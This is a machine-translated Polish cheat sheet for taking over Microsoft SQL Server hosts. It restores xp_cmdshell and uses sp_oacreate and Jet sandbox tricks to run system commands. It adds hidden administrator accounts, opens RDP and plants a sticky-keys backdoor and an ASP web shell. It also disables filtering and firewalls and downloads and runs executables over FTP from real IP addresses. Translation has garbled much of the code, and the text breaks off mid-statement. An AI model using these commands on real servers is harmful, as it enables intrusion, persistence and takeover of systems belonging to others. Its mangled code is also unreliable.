Rozkazy naprawczych z 1433 roku
net user SQLDebugger lista /add net localgroup administrators SQLDebugger /add
Komunikat o błędzie: Nie udało się znaleźć procedury przechowywanej 'master.. xp_cmdshell'。
Metoda naprawy: bardzo ogólna, w rzeczywistości można naprawić inne 126 127 razem,
Tyle xplog70.dll wszystko inne można naprawić tym poleceniem
xp_cmdshell nowe metody odzyskiwania Krok 1: Usuń: Procedura zrzutu sp_addextendedproc Procedura zrzutu sp_oacreate Wykonawczy sp_dropextendedproc 'xp_cmdshell' Serwer: Msg 3701, poziom 11, stan 5, linia 1 Nie jest możliwe usunięcie procesu "sp_addextendedproc", ponieważ nie istnieje on w katalogu systemowym. Serwer: Msg 3701, poziom 11, stan 5, procedura sp_dropextendedproc, linia 18 Nie jest możliwe usunięcie procesu "xp_cmdshell", ponieważ nie istnieje on w katalogu systemowym. Krok 2 Regeneracja: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") Bezpośrednie odzyskanie, niezależnie od tego, czy sp_addextendedproc istnieje, czy nie
xplog70.dll poprawki:
Komunikat o błędzie: Nie można było zamontować xplog70.dll DLL lub jednego z DLL wymienionych w DLL. Powód: 126 (Nie można znaleźć określonego modułu.) )。
Napraw XPLOG70.DLL (najpierw sprawdź katalog kopii zapasowej \x86\bin z plikiem, a potem zamień następujący katalog)
Krok 1 Wykonawczy sp_dropextendedproc 'xp_cmdshell' Krok 2 dbcc addextendedproc ("xp_cmdshell","c:\sql2KSP4\x86\binn\xplog70.dll")
Nie udało się znaleźć procedury przechowywanej 'master.. xp_cmdshell'。 Krok 1: Procedura tworzenia sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (właściciel) Nazwa funkcji do wywołania
*/ @dllname varchar(255)/* nazwa DLL zawierającej funkcję */ jako Uruchom implicit_transactions jeśli @@trancount > 0 zaczynaj raiserror(15002,-1,-1,'sp_addextendedproc') return (1) koniec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc IDŹ
Krok 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'deklaruj @o int
SQL Server zablokował dostęp do procesu 'sys.xp_cmdshell' komponentu 'xp_cmdshell', ponieważ ten komponent został wyłączony w ramach konfiguracji bezpieczeństwa tego serwera. Administratorzy systemu mogą włączyć 'xp_cmdshell', korzystając z sp_configure. Więcej informacji o włączaniu xp_cmdshell można znaleźć w Peripheral App Configurator w serii SQL Server Online Books.
; EXEC sp_configure 'pokaż zaawansowane opcje', 1 -- ; PRZEKONFIGURUJ Z NADPISANIEM -- ; DYREKTOR sp_configure 'xp_cmdshell', 1 -- ; PRZEKONFIGURUJ Z NADPISANIEM -- ; EXEC sp_configure 'pokaż zaawansowane opcje', 0 --
Usuń niebezpieczne pamięć SQL: PROCEDURA ZRZUCENIA sp_makewebtask Mistrz wykonawczy... sp_dropextendedproc xp_cmdshell Mistrz wykonawczy... sp_dropextendedproc xp_dirtree Mistrz wykonawczy... sp_dropextendedproc xp_fileexist Mistrz wykonawczy... sp_dropextendedproc xp_terminate_process Mistrz wykonawczy... sp_dropextendedproc sp_oamethod Mistrz wykonawczy... sp_dropextendedproc sp_oacreate Mistrz wykonawczy... sp_dropextendedproc xp_regaddmultistring Mistrz wykonawczy... sp_dropextendedproc xp_regdeletekey Mistrz wykonawczy... sp_dropextendedproc xp_regdeletevalue Mistrz wykonawczy... sp_dropextendedproc xp_regenumkeys Mistrz wykonawczy... sp_dropextendedproc xp_regenumvalues Mistrz wykonawczy... sp_dropextendedproc sp_add_job Mistrz wykonawczy... sp_dropextendedproc sp_addtask Mistrz wykonawczy... sp_dropextendedproc xp_regread Mistrz wykonawczy... sp_dropextendedproc xp_regwrite Mistrz wykonawczy... sp_dropextendedproc xp_readwebtask Mistrz wykonawczy... sp_dropextendedproc xp_makewebtask Mistrz wykonawczy... sp_dropextendedproc xp_regremovemultistring Mistrz wykonawczy... sp_dropextendedproc sp_OACreate PROCEDURA ZRZUCENIA sp_addextendedproc
Przywracanie rozszerzonych procedur przechowywanych Przywróć najpierw sp_addextendedproc, stwierdzenie brzmi następująco: Po pierwsze: Procedura tworzenia sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (właściciel) nazwa funkcji do wywołania */ @dllname varchar(255)/* nazwy DLL zawierającej funkcję */ jako Uruchom implicit_transactions jeśli @@trancount > 0 zaczynaj raiserror(15002,-1,-1,'sp_addextendedproc') return (1) koniec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc IDŹ
Po drugie: Użyj mastera Dyrektor sp_addextendedproc xp_cmdshell, 'xp_cmdshell.dll' Dyrektor sp_addextendedproc xp_dirtree, 'xpstar.dll' Dyrektor sp_addextendedproc xp_enumgroups, 'xplog70.dll' Wykonawczy sp_addextendedproc xp_fixeddrives, 'xpstar.dll' Dyrektor sp_addextendedproc xp_loginconfig, 'xplog70.dll' Wykonawczy sp_addextendedproc xp_enumerrorlogs, 'xpstar.dll' Wykonawczy sp_addextendedproc xp_getfiledetails, 'xpstar.dll' Dyrektor sp_addextendedproc sp_OACreate, 'odsole70.dll' Dyrektor sp_addextendedproc sp_OADestroy, 'odsole70.dll' Dyrektor sp_addextendedproc sp_OAGetErrorInfo, 'odsole70.dll' Wykonawczy sp_addextendedproc sp_OAGetProperty, 'odsole70.dll' Wykonawczy sp_addextendedproc sp_OAMethod, 'odsole70.dll' Dyrektor sp_addextendedproc sp_OASetProperty, 'odsole70.dll' Dyrektor sp_addextendedproc sp_OAStop, 'odsole70.dll' Dyrektor sp_addextendedproc xp_regaddmultistring, 'xpstar.dll' Dyrektor sp_addextendedproc xp_regdeletekey, 'xpstar.dll' Wykonawczy sp_addextendedproc xp_regdeletevalue, 'xpstar.dll' Dyrektor sp_addextendedproc xp_regenumvalues, 'xpstar.dll' Wykonawczy sp_addextendedproc xp_regread, 'xpstar.dll' Dyrektor sp_addextendedproc xp_regremovemultistring, 'xpstar.dll' Dyrektor sp_addextendedproc xp_regwrite, 'xpstar.dll' Dyrektor sp_addextendedproc xp_availablemedia, 'xpstar.dll'
Usuń zdanie rozszerzające procedurę przechowywaną xp_cmdshell: Wykonawczy sp_dropextendedproc 'xp_cmdshell'
Recover the sql statement of cmdshell egzekulator sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Otwórz clan cmdshell SQL egzekulator sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Sprawdź, czy istnieje rozszerzenie pamięci Wybierz count(*) z master.dbo.sysobjects, gdzie xtype='x' i name='xp_cmdshell' Wynik to 1 i jest w porządku
Przywróć xp_cmdshell exec master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Wybierz count(*) z master.dbo.sysobjects, gdzie xtype='x' i name='xp_cmdshell' Wynik to 1 i jest w porządku W przeciwnym razie przesyłaj xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Blokuj polecenie sql w cmdshell sp_dropextendedproc "xp_cmdshell
Jeden. Zmiana metody hasła SA: Po połączeniu z narzędziem SQL Comprehensive Utilization Tool wykonaj polecenie: exec sp_password NULL, 'nowe hasło', 'sa' (Podpowiedź: używaj ostrożnie!)
Dwa. Po prostu popraw słabe hasło.
Metoda 1: Zapytanie do splittera po podłączeniu: jeśli istnieje (wybierz * z dbo.sysobjects gdzie id = object_id(N'[dbo].[ xp_cmdshell]') oraz OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
IDŹ Następnie naciśnij F5, aby wykonać polecenie
Metoda 2: Zapytanie po podłączeniu rozdzielacza Pierwszym krokiem jest wykonanie: użycie mastera Krok 2: sp_dropextendedproc 'xp_cmdshell' Następnie naciśnij F5, aby wykonać polecenie
DLL xpsql70.dll lub jeden z DLL odwołanych przez DLL nie może być zamontowany. Powód 126 (Nie można znaleźć określonego modułu. ) Metoda odzyskiwania: Po zapytaniu połączenia splittera, Krok 1: sp_dropextendedproc "xp_cmdshell" Krok 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Funkcji xp_cmdshell nie można znaleźć w bibliotece xpweb70.dll. Powód: 127 (Nie można znaleźć określonego programu.) ) Metoda odzyskiwania: Po zapytaniu połączenia splittera, Krok 1 Wykonanie: sp_dropextendedproc dyrektora 'xp_cmdshell' Krok 2: wykonaj sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Następnie naciśnij F5, aby wykonać polecenie
Jeśli żadna z powyższych metod nie jest do odzyskania, spróbuj dodać konto bezpośrednio, korzystając z następujących metod: Po zapytaniu połączenia splittera, System 2000servser: declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP lub 2003Server System: błąd 126! Kolejność
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run', null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server zablokował dostęp do procesu 'sys.xp_cmdshell' komponentu 'xp_cmdshell', ponieważ ten komponent został wyłączony w ramach konfiguracji bezpieczeństwa tego serwera. Administratorzy systemu mogą włączyć 'xp_cmdshell', korzystając z sp_configure. Więcej informacji o włączaniu xp_cmdshell można znaleźć w Peripheral App Configurator w serii SQL Server Online Books.
Stwierdzenia wykonywane przez analizator:
EXEC sp_configure 'pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; EXEC sp_configure 'xp_cmdshell', 1; REKONFIGUROWAĆ;
Czasami podczas wykonywania powyższych instrukcji z połączeniem detacher zapytania procedura przechowywana nie może być odnaleziona sp_addextendedproc
Obejście:
Procedura tworzenia sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (właściciel) Nazwa funkcji do wywołania */ @dllname varchar(255)/* nazwa DLL zawierającej funkcję */ jako Uruchom implicit_transactions jeśli @@trancount > 0 zaczynaj raiserror(15002,-1,-1,'sp_addextendedproc') return (1) koniec dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc IDŹ Kod ten jest wklejany do splittera zapytań i wykonywany
Explorer:
c:\windows\explorer.exe
Zobacz spis treści Wykonawczy master.dbo.xp_subdirs 'C:\' Dyski z listą Mistrz wykonawczy... xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXECUTIVE master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBox Mode', 'REG_DWORD',0 Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor Version 5.00 >3389.reg Echo. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Włączone"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_USERS\. DOMYŚLNY\Układ klawiatury\Przełącznik] >>3389.reg echo "Skrót klawiszowy" ="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg regedit /s 3389.reg
Open 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal','fDenyTSConnections','REG_DWORD',0; --
Przełęcz 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Sprawdź port 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal\Server\WinStations\RDP-Tcp','PortNumber'
Normalne tylne wejście CMD xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe','debugger','reg_sz', 'c:\windows\system32\cmd.exe'
win2K trafia bezpośrednio do PS Mar Mistrz wykonawczy... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',1 select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo pa>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP bezpośrednio na koniach PS Mistrz wykonawczy... xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',1 select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo pa>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Przesuń polecenie tylnego wejścia deklaruj @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null, 'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe';
deklaruj @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out np. sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
Kopiuj c:\windows\explorer.exe c:\windows\system32\sethc.exe Kopiuj c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
deklaruj @o int Wykonawczy sp_oacreate 'wscrip usuń T.Shell', @o koniec exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX to polecenie, które chcesz wykonać
Zapisz wartość określoną w kluczu określonym w rejestrze), używając metody (zapisz bbb w kluczu HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXECUTIVE master... xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'
@echo otwórz 121.22.56.5>c:\bin.txt&@echo lista>>c:\bin.txt&@echo lista>>c:\bin.txt&@echo dostać gzn.exe>>c:\bin.txt&@echo bye>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Najpierw skopiuj ftp.exe do katalogu wmpub @echo CD c:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL pisze zdanie Wykonawczy master.dbo.xp_subdirs 'D:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' ' '
Promocja trybu sandbox w SA ----- ---------------------- Mistrz wykonawczy... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBox Mode','REG_DWORD',0; ------------------------------------------------------- Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Baza danych=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Wybierz * z OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
ZMIANA 3389
Użyte zdanie: Inwazja EXECUTIVE master... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Odbudowa EXECUTIVE master... xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Przejęcie obrazu
EXECUTIVE master... xp_regwrite --- to jest edycja rejestru! @rootkey='HKEY_LOCAL_MACHINE', ---To jest pozycja! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc. EXE', -----To też jest ta pozycja! @value_name='Debugger', --- to jest nazwa stołu! @type='REG_SZ', --- oto jest znaczenie pisania! @value='C:\WINDOWS\explorer.exe' ---- oto treść pisemna!
Cały proces polega na użyciu master: xp_regwrite ten element zostanie wykonany,
1.sql polecenie zapytanie, czy klucz przyklejony rejestru został przejęty
Mistrz wykonawczy... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe','Debugger'
2.sql polecenie przejmuje funkcję przyklejanych rejestru i zastępuje ją menedżerem zadań (oczywiście możesz zastąpić ją innymi poleceniami, które chcesz)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe', 'Debugger','REG_SZ', 'C:\WINDOWS\system32\taskmgr.exe'
3.sql polecenie usuwające funkcję przejęcia z przyklejonego klucza rejestru chroni Twój serwer przed nadużyciami przez innych
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Opcje wykonania pliku obrazu\sethc.exe'
Pliki do zapisu SQL
deklaruj @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out egec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Skrypty bez eskalacji NET
struser=wscrip do usunięcia t.arguments(0) strpass=wscrip do usunięcia t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) od. SetPassword strpass od. SetInfo Zestaw =GetObject(oz&"/" & struser & ",user") Oe. Add(of. ADsPath)
Dla każdego administratora w OE. Członkowie if struser=admin. Nazwa wtedy Wscrip usunął t.echo struser i "Ustalono!" wscrip do usunięcia t.quit koniec jeśli Następny
Wscrip usuń t.echo struser i "User Establishment failed (nieudane)!" Zapisz powyższe jako użytkownik. Plik VBS Następnie wykonaj: cscrip, aby usunąć hasło użytkownika user.vbs
Korzystając z trybu piaskownicy JET, można rozwiązać problemy powodowane przez procedury przechowywane, takie jak XP_cmdshell i powiązane biblioteki dynamicznych łączy. Ze względów bezpieczeństwa system domyślnie nie włącza trybu sandbox, który wymaga od xp_regwrite włączenia trybu sandbox:
Dyrektor master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines', 'SandBox Mode', 'REG_DWORD',1
Następnie wykonaj polecenie sandbox, aby dodać test użytkownika o nazwie użytkownika z hasłem 1234 do systemu:
select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
select * from openrowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administratorzy testują /add")')
Różne systemy operacyjne mają różne ścieżki i muszą być modyfikowane w zależności od sytuacji:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Dodatkowo, w Microsoft SQL Server 2005 niektóre procedury przechowywane są domyślnie zamknięte i wymagają poleceń do otwarcia:
Włącz XP_cmdshell:
EXEC sp_configure 'pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; DYREKTOR sp_configure 'xp_cmdshell', 1; REKONFIGUROWAĆ;
Otwórz 'OPENROWSET':
Dyrektor sp_configure 'Pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; sp_configure wykonawczy 'Ad hoc dystrybuowane zapytania',1; REKONFIGUROWAĆ;
Włącz 'sp_oacreate':
Dyrektor sp_configure 'Pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; sp_configure wykonawczy 'Stare procedury automatyzacji',1; REKONFIGUROWAĆ;
Oto kilka sytuacji, w których polecenie wykonania pod sa jest błędne: 1. DLL xpsql70.dll lub DLL odwołane przez DLL nie mogą być załadowane. Powód 126 (Nie można znaleźć określonego modułu. ) Taka sytuacja jest stosunkowo powszechna, a naprawa jest prosta i prosta, ale istnieją pewne warunki. Jeśli możesz wymienić katalog w tym przypadku (w sqltools v2.0 jest funkcja katalogu), gratulacje z powodu tej 80% opcji można rozwiązać, jeśli możesz wypisać katalog, to po prostu znajdź ścieżkę xplog70.dll i wykonaj następujące polecenie. Krok 1 exec sp_dropextendedproc 'xp_cmdshell' (to polecenie ma na celu usunięcie oryginalnego cmdshell, ponieważ już się zepsuł) Krok 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure 'pokaż zaawansowane opcje', 0 – Oczywiście jest to polecenie sql, wykonywane za pomocą analizatora zapytań. C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll w drugim kroku to ścieżka xplog70.dll, ta ścieżka jest dość powszechna, jeśli dysk C jej nie ma, można znaleźć inne litery dysku. 2. Nie mogę znaleźć funkcji xp_cmdshell w bibliotece xpweb70.dll. Powód: 127 (Nie można znaleźć określonego programu.) ) W rzeczywistości jest to to samo co powyżej 126, czyli cmdshell jest błędny, o ile znajdziesz kopię zapasową xplog70.dll stosujesz powyższą metodę, aby ją naprawić. 3. Nie udało się znaleźć zapisanej procedury 'master'. xpcmdshell' W tym przypadku widzę w Internecie, że metoda wygląda następująco: Krok 1: Usuń: Procedura zrzutu sp_addextendedproc Procedura zrzutu sp_oacreate Wykonawczy sp_dropextendedproc 'xp_cmdshell' Krok 2 Regeneracja: dbcc addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") W rzeczywistości jest to nadal takie samo jak powyżej, w rzeczywistości, jeśli będziesz ostrożny, powyższe 126 127 nie znajdzie tylko procedury przechowywanej 'master:. xpcmdshell', ponieważ pierwszym krokiem jest usunięcie procedury przechowywanej w cmdshell. W tym przypadku po prostu postępuj według drugiego kroku powyżej. 4. Komunikat o błędzie: SQL Server zablokował dostęp do procesu 'sys.xp_cmdshell' komponentu 'xp_cmdshell', ponieważ ten komponent został wyłączony w ramach konfiguracji zabezpieczeń tego serwera. Administratorzy systemu mogą włączyć 'xp_cmdshell', korzystając z sp_configure. Więcej informacji o włączaniu xp_cmdshell można znaleźć w Peripheral App Configurator w serii SQL Server Online Books. Ta sytuacja jest najprostsza, bo nie musisz o niczym myśleć, wystarczy wykonać następujące polecenie ; EXEC sp_configure 'pokaż zaawansowane opcje', 1 -- ; PRZEKONFIGURUJ Z NADPISANIEM -- ; DYREKTOR sp_configure 'xp_cmdshell', 1 -- ; PRZEKONFIGURUJ Z NADPISANIEM -- ; EXEC sp_configure 'pokaż zaawansowane opcje', 0 –
Po powyższym poprawku możesz wykonać komendę cmd i zaczniesz podnosić swoją moc. Zazwyczaj najpierw sprawdzam adres IP, czy to intranet, a potem zapytanie REG HKLM\SYSTEM\CurrentControl\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber w celu sprawdzenia portu terminala, a następnie netstat –an, żeby sprawdzić, czy terminal jest otwarty, a następnie hasło użytkownika netu / Dodaj użytkownika, a następnie włącz się do administratorów lokalnej grupy użytkownika /dodaj. Jeśli wszystko pójdzie dobrze, serwer zostanie wyłączony. Ale w tym procesie pojawia się wiele problemów. 1. Promocja netto mocy jest skuteczna, ale nie może się połączyć z terminalem Występują następujące sytuacje (1) Serwer znajduje się w intranecie. (2) Screening TCP/IP. Najpierw wykonaj następujące polecenie cmd: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, eksportuj pierwszą część rejestru do filtrowania TCP/IP cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, eksportuj drugą część rejestru do filtrowania TCP/IP cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", eksportując trzecie miejsce w rejestrze dotyczącym filtrowania TCP/IP Następnie wróć do dysku C 1.reg, 2.reg, 3.reg, pobierz 1.reg, 2.reg 3.reg wróć na dysk, aby edytować, znajdź pole EnableSecurityFilters i sprawdzić, czy wartość klucza po dword to 00000000, jeśli jest 00000001, oznacza to, że administrator przeprowadził filtrowanie TCP/IP, wystarczy zmienić 1 na 0, 2. Reg i 3.reg wprowadzają te same zmiany. (3) Utworzenie polityki bezpieczeństwa własności intelektualnej. Wykonaj polecenie cmd: cmd /c net stop policyagent, aby zatrzymać usługę IPSEC Services. Podłącz ponownie terminal. (4) Uprawnienia logowania do zestawu terminala przez administratora mogą być używane tylko przez wskazanego użytkownika. (5) Firewall. Wykonaj polecenie cmd: net stop alg /ynet stop sharedaccess
2. Pojawia się eskalacja NET i odmowa dostępu Możesz spróbować hasła użytkownika net1 /add Jeśli net1 również odmawia dostępu, możesz skopiować shfit backdoor i spróbować wykonać polecenie cmd: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Kopiuj c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe Jeśli zostanie zapytany, skopiuj jeden plik, co się udaje. Połącz się z terminalem i naciśnij 5 shift, żeby zobaczyć, co się pojawi. Pobaw się Kaka Explorerem, teraz po prostu dodaj użytkownika ręcznie. 3. Eskalacja sieci następuje przy błędzie odmowy dostępu 5 (podświetlenie) W takim przypadku nie musisz próbować net1, możesz spróbować copy shift backdoor, jeśli kopiowanie poprosi o skopiowanie pliku 0, to dowodzi, że nie powiodło się. Potem możesz spróbować go przesłać, jeśli możesz, możesz bezpośrednio wysłać narzędzie do eskalacji zasilania spoza sieci, które pojawiło się jakiś czas temu, a potem dodać użytkownika. Ale większości tych przypadków nie da się przesłać, więc trzeba się nad tym zastanowić. Ponieważ cmd można wykonać, plik można pobrać przez cmd pod ftp, ale założeniem ftp jest możliwość zapisywania tekstu lub przetwarzania wsadowego. Następnie możesz napisać tekst lub partię przez instrukcję SQL. deklaruj @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'konto ftp' exec @ret = sp_oamethod @f, 'writeline', NULL, 'hasło do ftp' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (brak skryptu eskalacji sieci) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL, 'pa' Po pomyślnym uruchomieniu analizatora zapytań na dysku C pojawi się 1.bat (jeśli wykonanie się powiedzie, ale dysk C nie jest dostępny, można zmienić folder na zapis, ponieważ katalog główny dysku C na którym serwerze zabrania zapisu) Następnie cmd wykonuje ftp -s:c:\1.bat Po wykonaniu tego pobierzesz skrypt eskalacji niesieciowy na FTP dysku CFT lub bezpośrednio napiszesz skrypt eskalacji VBS deklaruj @o int, @f int, @t int, @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out egec 